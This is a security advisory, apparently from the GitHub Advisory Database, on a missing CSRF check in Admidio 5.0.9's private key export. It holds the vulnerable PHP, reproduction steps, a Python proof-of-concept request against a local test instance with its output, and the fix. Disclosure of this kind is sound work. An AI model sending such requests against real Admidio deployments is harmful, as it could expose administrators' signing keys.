Admidio PKCS#12 private key export action lacks CSRF protection
Summary
The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.
Vulnerable Code Links
- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150
Vulnerable Code
// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}
What Does The Code Mean
The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.
Why The Code Is Vulnerable
The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.
Verification Environment
- Application: Admidio
v5.0.9 - Runtime: Dockerized Admidio + MariaDB on
http://localhost:18080 - Validation mode: real deployed application, not isolated unit tests
Steps To Reproduce
- Log in as an administrator.
- Create or seed an SSO key pair.
- Send a POST request to
/modules/sso/keys.php?mode=export&uuid=<key-uuid>with onlykey_password=ExportPass123!and noadm_csrf_token. - Verify that the response returns
application/x-pkcs12and that the returned file parses successfully with OpenSSL.
PoC Script
import os
from pathlib import Path
from helpers import BASE_URL, login, new_session, save_json, save_text
KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]
def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()
Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
"pkcs12_export_csrf_result.json",
{
"login": login_result,
"status_code": resp.status_code,
"content_type": resp.headers.get("Content-Type"),
"content_length": len(resp.content),
"content_disposition": resp.headers.get("Content-Disposition"),
},
)
if __name__ == "__main__":
main()
PoC Output
{
"content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
"content_length": 2644,
"content_type": "application/x-pkcs12",
"login": {
"cookies": {
"ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
"status": "success",
"url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
},
"status_code": 200
}
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Impact
A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.
Remediation And Suggestions
Restore CSRF validation and require a POST body token before exporting private key material.
case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | admidio/admidio | < 5.0.10 | 5.0.10 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-352- Platform
- Composer
- Package
admidio/admidio- Disclosed
- 29.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-4rgq-38mh-9xqg - CC BY 4.0
Vulnerability history: admidio/admidio
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 03.2022 07.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 10
- Medium 33
- Low 4
Disclosures per year
- 2022: 3
- 2023: 7
- 2024: 3
- 2025: 1
- 2026: 36
-
Admidio PKCS#12 private key export action lacks CSRF protection this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.